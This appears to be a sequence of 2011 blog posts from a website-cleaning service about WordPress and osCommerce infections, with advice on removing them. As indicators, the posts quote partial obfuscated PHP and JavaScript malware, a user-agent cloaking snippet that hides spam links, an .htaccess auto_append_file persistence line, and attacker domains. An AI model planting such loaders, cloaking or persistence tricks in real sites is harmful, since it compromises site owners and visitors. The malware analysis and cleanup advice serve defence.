Don’t go blaming the author of the WordPress plugin contact-form-7, but 1,022 of the websites we’ve cleaned in the past 11 days have old versions of the contact-form-7 plugin.

If you have a WordPress based website and you’re finding code like this in your index.php files:

(opening php tag) @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZl..."\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} (closing php tag)

then you probably have an outdated contact-form-7 plugin.

We're not seeing the usual evidence in the log files, so we believe that the infection is a string that is being piped to /dev/null - at least that's our theory.

In your wp-content folder under: /plugins/contact-form-7 open your wp-contact-form-7.php file and look at line 8:

We’ve been seeing a lot of spam links in WordPress index.php files. Even the “silence is golden” 30 byte index.php files sprinkled throughout a WordPress installation have been infected.

These infected websites had other malicious code as well, but the index.php files had variations of the following code:

<!– /harew–>

<?

$agent = $_SERVER['HTTP_USER_AGENT'];

if(!eregi(“google”,$agent))

{

?>

<div style=”position:absolute; top:-99999px;”>

<?

}

?>

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</div>

Currently we see about 12,000+ websites infected with this code. These sites are usually infected with a variety of .htaccess file infections as well, so just removing this code will not clean your website.

For instance, many of them have this in their .htaccess files:

php_value auto_append_file /home/path_to_/public_html/websitename/Thumbs.db

This will add (append) whatever is in the Thumbs.db file to files when the page is rendered. This will show the infectious code in Thumbs.db after running the PHP code in Thumbs.db, when you view source on an infected web page, but when you look in the raw code of the index file, the code won’t be there.

This line is usually preceeded by many, many blank lines in an attempt to hide it. Inside the Thumbs.db file is code like:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSK…;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65″;$eva1tYldakBoVS1r = “\x65\143\x72\160″;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Which is the infectious code delivered to any web page rendered from the folder with the above .htaccess file.

There doesn’t appear to be any common characteristic of the websites infected with this, other than the infected websites we’ve cleaned have all been WordPress. They were already at the current version, some have the vulnerable timthumb.php files, some don’t. Some are using FCKeditor in one way or another and we have seen this as a successful attack vector for quite awhile.

If you have this type of infection, please post a comment with any other information you may have regarding this. Mostly, what plugins you have on your site. Maybe then as a community we can zero in on the root cause.

If you found this post useful or informative, please Tweet about us, like us on Facebook, or just post a comment.

As always, if you need help cleaning this from your website, please send me an email: traef@wewatchyourwebsite.com.

Thank you.

We’ve been seeing, over the past week, many WordPress websites infected with this line of code:

function counter_wordpress() {$_F=__FILE__;$_X='...add_action('wp_head', 'counter_wordpress');

It’s in the wp-settings.php file and it usually has a series of blank spaces before it. You’ll find it right before the legitimate line of code:

do_action( 'init' );

This needs to be removed and you need to update all of your timthumb.php and thumb.php files. Then you’ll also have to scan your websites for backdoors.

Remember that if your WordPress site is hosted in a hosting account with many other websites in the same account, the backdoor can be in all or any of the other websites. You need to scan and clean them all.

If you need help in finding and removing this, please send us an email at: support@wewatchyourwebsite.com

Thank you.

And, let’s be safe out there.

I don’t like making every announcement of new infections regarding timthumb.php. It feels like everyone is pointing the finger at the author, but I do have to report the recent happenings, so here goes.

The latest website infections we’ve been seeing inject obfuscated script to the bottom of .html files and the index.php file.

The code looks like:

(opening script tag)String.prototype.test="harC";for(i in $='')m=$[i];var ss="";try{eval('asdas')}catch(q)... n=[7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h...eval(ss);(closing script tag)

We usually see this at the very bottom of the file. Typically after the closing html tag in an html file.

This code deobfuscates to an iframe that includes:

microsearchstat.com/temp/stat.php

As of this writing, Google does not find this URL suspicious, however:

What is the current listing status for microsearchstat.com? This site is not currently listed as suspicious.

What happened when Google visited this site? Of the 4 pages we tested on the site over the past 90 days, 0 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2011-09-02, and the last time suspicious content was found on this site was on 2011-09-02. Malicious software includes 1 trojan(s).

That is for today, September 2, 2011. Which is the same day that Google reports as the last time they found suspicious content.

Again, we’ve cleaned this on WordPress sites with vulnerable timthumb.php files. These really need to be updated.

If your website is listed as having malicious or suspicious content and it’s linked to microsearchstat.com, you might want to look for the code mentioned above.

If you need help cleaning this, please send us an email: support@wewatchyourwebsite.com or call us at (847)728-0214.

Have you spotted this on your website? Let us know…

According to the website kernel.org, their website was compromised possibly by stolen login credentials. Here is what they posted on their website:

Security breach on kernel.org

Earlier this month, a number of servers in the kernel.org infrastructure were compromised. We discovered this August 28th. While we currently believe that the source code repositories were unaffected, we are in the process of verifying this and taking steps to enhance security across the kernel.org infrastructure.

What happened?

Intruders gained root access on the server Hera. We believe they may have gained this access via a compromised user credential; how they managed to exploit that to root access is currently unknown and is being investigated. Files belonging to ssh (openssh, openssh-server and openssh-clients) were modified and running live. A trojan startup file was added to the system start up scripts User interactions were logged, as well as some exploit code. We have retained this for now. Trojan initially discovered due to the Xnest /dev/mem error message w/o Xnest installed; have been seen on other systems. It is unclear if systems that exhibit this message are susceptible, compromised or not. If developers see this, and you don’t have Xnest installed, please investigate. It *appears* that 3.1-rc2 might have blocked the exploit injector, we don’t know if this is intentional or a side affect of another bugfix or change.

What Has Been Done so far:

We have currently taken boxes off line to do a backup and are in the process of doing complete reinstalls. We have notified authorities in the United States and in Europe to assist with the investigation We will be doing a full reinstall on all boxes on kernel.org We are in the process of doing an analysis on the code within git, and the tarballs to confirm that nothing has been modified

For those of you who think that hackers aren’t trying to infect websites – all websites, think again.

Also note how they took responsibility and publicly announced what they are doing to prevent this from happening again.

How about you? What have you done to protect your websites from being infected. Infected websites affect many people – anyone who visits your website.

Let me know your thoughts on this…post a comment.

Here’s another round of infections from the timthumb.php vulnerability.

This time the hackers have registered a new domain: googlesafebrowsing.com (on August 17, 2011) and they are utilizing the timthumb.php and thumb.php files to infect websites.

In the header.php file, we’re finding code that begins with:

This is a dynamic piece of code in that it pulls a new domain from googlesafebrowsing.com/remoted.cc.txt and inserts it into an iframe that's embedded in a section of code that appears on your website. Most of the iframes have .us.to/kwizhveo.php in the URL.

You really should search your themes for any instance of timthumb.php or thumb.php and get the updated file: and replace the existing one.

What we recommend is that your use a safe FTP program like WS_FTP by Ipswitch, login to your website and search the wp-content/themes folder for any instances of timthumb.php or thumb.php. When you find one, rename it by adding .orig to the end of it. That way after adding the new file and testing, if your site doesn't work, you can always move back to the original (.orig) by deleting the new file and renaming the original by taking the .orig extension off.

If you have the thumb.php version it's normally about 18kb in size. If you want to make that file safe without replacing it, download it to your computer and open it with an editor.

Before you make any other changes check the file for code that looks like this:

If you see that code, then your site is already infected and should be thoroughly cleaned. You should call us: (847)728-0214 or email: support@wewatchyourwebsite.com

However, if you don't see that code and want to modify your existing thumb.php file, scroll down to a section that looks like:

Change that by deleting the websites listed: flickr.com, picasa.com, etc.

When you're finished it should look like:

The above steps will keep your site safe from the timthumb.php and thumb.php type of infections on your WordPress website - if you haven't had your WordPress site infected already.

This infection has been happening for about 10 days already, but we’ve been so busy cleaning them that we haven’t had time to write about it.

We’ve been seeing the following script:

usually in the meta tag section of the infected website’s pages. It appears multiple times.

The domain: 1see.ir is not currently listed as suspicious by Google:

Yet a Google search shows about 78,000 listings. Some of these are reports of the infection and not necessarily infected websites:

This is affecting osCommerce based websites that are not properly protected. Protecting osCommerce sites is something we do extremely well. If your site has been infected by this, please contact us and we can clean this, remove all backdoors and secure your website from future infections.

You can’t just remove this infection and think you’re safe. We’ve been seeing extra entries in the admin table. These are accounts hackers have inserted into your site so they maintain control over your site. There have also been many, many different backdoor shell scripts as well.

Let’s get this cleaned up.

Contact me at: traef@wewatchyourwebsite.com or (847)728-0214.

If you have questions or comments please comment below.

Thank you.

As you may know from our previous posts, we’ve been watching the willysy.com infection of millions of e-commerce websites over the past few weeks.

Now, it appears that many of these are still infected and the hackers have now changed the infection to:

hxxp://tiasissi. com .br/revendedores/jquery

What’s really frustrating from our perspective, is that these are so easy to prevent. To date, we’ve cleaned 1,179 of these infections and no repeat infections – our methods work!

With the willysy infections we’ve seen many entries in the admin section of the osCommerce database which shows that the hackers have taken total control of these websites and this is just the infectious code they prefer to use for now.

There are many different backdoor shell scripts the hackers are installing on these websites and code inserted into the payment processing files that allow the hackers to steal the credit card information as it gets processed.

This is all cleanable and prevention is quite easy.

Contact us to have your website cleaned or email me at: traef@wewatchyourwebsite.com

If you have questions about this, please leave a comment. We’ll respond promptly.

Thank you.

The WordPress Plugin TimThumb which is primarily used in themes as an image resizing tool, was found to be vulnerable to an attack that could be classified as a remote file inclusion exploit.

TimThumb allows an attacker to retrieve a remote file and saves it to directory that is accessible via a browser. Mark Maunder who is CEO of technology firm Feedjit, based in Seattle, found out the hard way about this vulnerability when his own blog: markmaunder.com was infected by this.

He has provided a good detailed description, for those of you who are technically oriented, on his blog at:

It’s also been reported that the developer of the plugin had his own blog infected via this vulnerability. To his credit, he has been extremely busy in fixing this and has definitely shown responsibility in this matter.

The fix that Mark has suggested is this:

1. Edit timthumb.php
2. Scroll down to line 27 where it starts: $allowedSites = array(
3. Remove all the sites like “blogger.com” and “flickr.com”
4. After removing the sites your line should look like: $allowedSites = array();

Save the file and you’re finished. Keep in mind this is for version 1.33. If you’re running an older version, you’ll have to contact the Theme developer and ask them for an update.

Our research shows that some themes use this plugin but the file is not named timthumb.php it could be named:

• thumb.php
• resizer.php
• crop.php
• cropper.php
• and various similar names

Search your files for all these names just to be sure you find it.

If you see a folder/directory named “cache” in your wp-content folder or any of it’s sub-folders, you can add this .htaccess file there which will block running any .php files. Quick backstep: this is typically where this plugin stores the files that a hacker may have uploaded. So even if a hacker were to upload the files to that folder, they cannot run them.

.htaccess:

RewriteEngine On

Order Deny,Allow Deny from all Allow from localhost

Please post a comment here if you’re having issues with this, or for that matter, any other security related issues.

Thank you.

UPDATE August 6, 2011: The number of websites infected with this had risen to over 5 million. The prevention of this type of attack is really quite simple – and something we’ve been applying to clients websites for some time.

Currently 100,000+ osCommerce (and variations of osCommerce) pages have been infected with an iframe that points to: willysy(dot)com.

Our research finds these iframes in the title tags and at various img tag locations throughout the webpages which led us to look in the database.

We see the code in the title tags at the top of the page, inserted as the description of the store logo, following the “images/store_logo.png” or “images/logo.gif” and other similar logo links. and also in the copyright section in many web pages:

Our suggestion is to export the entire database, download it to your local computer and search for any strings with “iframe” (no quotes) in them. A few of these iframe strings have been obfuscated, so also look for the string: document.write.

Other domains used in this attack are:

• exero.eu
• yandekapi.com

It’s certain that more will follow.

Our research indicates that most of these websites are osCommerce or an osCommerce related website. In 89% of the websites we investigated, they have left the admin folder unchanged, which means they have not followed the recommendation of renaming the admin folder. Since this is a simple process, I would tend to believe that they have not followed other security recommendations and left their websites open to an attack.

You may see entries in your log files like this:

XXX.XXX.XXX.XXX – - [08/Jul/2011:02:19:54 -0500] “GET /admin/configuration.php/login.php HTTP/1.1″ 200 24492 “http://(domain removed)/admin/configuration.php/login.php” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)”

The key here is the “200″ following the HTTP/1.1 string. This means the above GET request was successful.

This will be followed by:

GET /admin/configuration.php/login.php?gID=1&cID=1&action=edit HTTP/1.1″ 200 24835 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)”

and…

“POST /admin/configuration.php/login.php?gID=1&cID=1&action=save HTTP/1.1″ 302 – “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)”

To prevent this, you should:

1. Rename the admin folder to something that does not include the word ‘admin’
2. Depending on what version of osCommerce you’re running, you should modify the code in application_top.php (2 files) to eliminate the $PHP_SELF
3. You should disable define_language.php and file_manager.php
4. Use various methods to prevent the configuration.php/login.php in the URL

You may also find additional users in your administrators table. Hackers have been adding these as well. Many of them will have their own email address as well so that a request to reset a password will go to them.

Various .php backdoors and some Perl shell scripts might be added to your website as well. The hackers have been using a variety of these in order to maintain control of the website.

First, make a backup of your database. Then after all these database entries have been found and removed, you’ll have to change the password to your database as they obviously know what it is and then import your database.

All of this needs to be cleaned up.

If you need help in cleaning this up, please send an email to support@wewatchyourwebsite.com or call me directly at (847)833-5666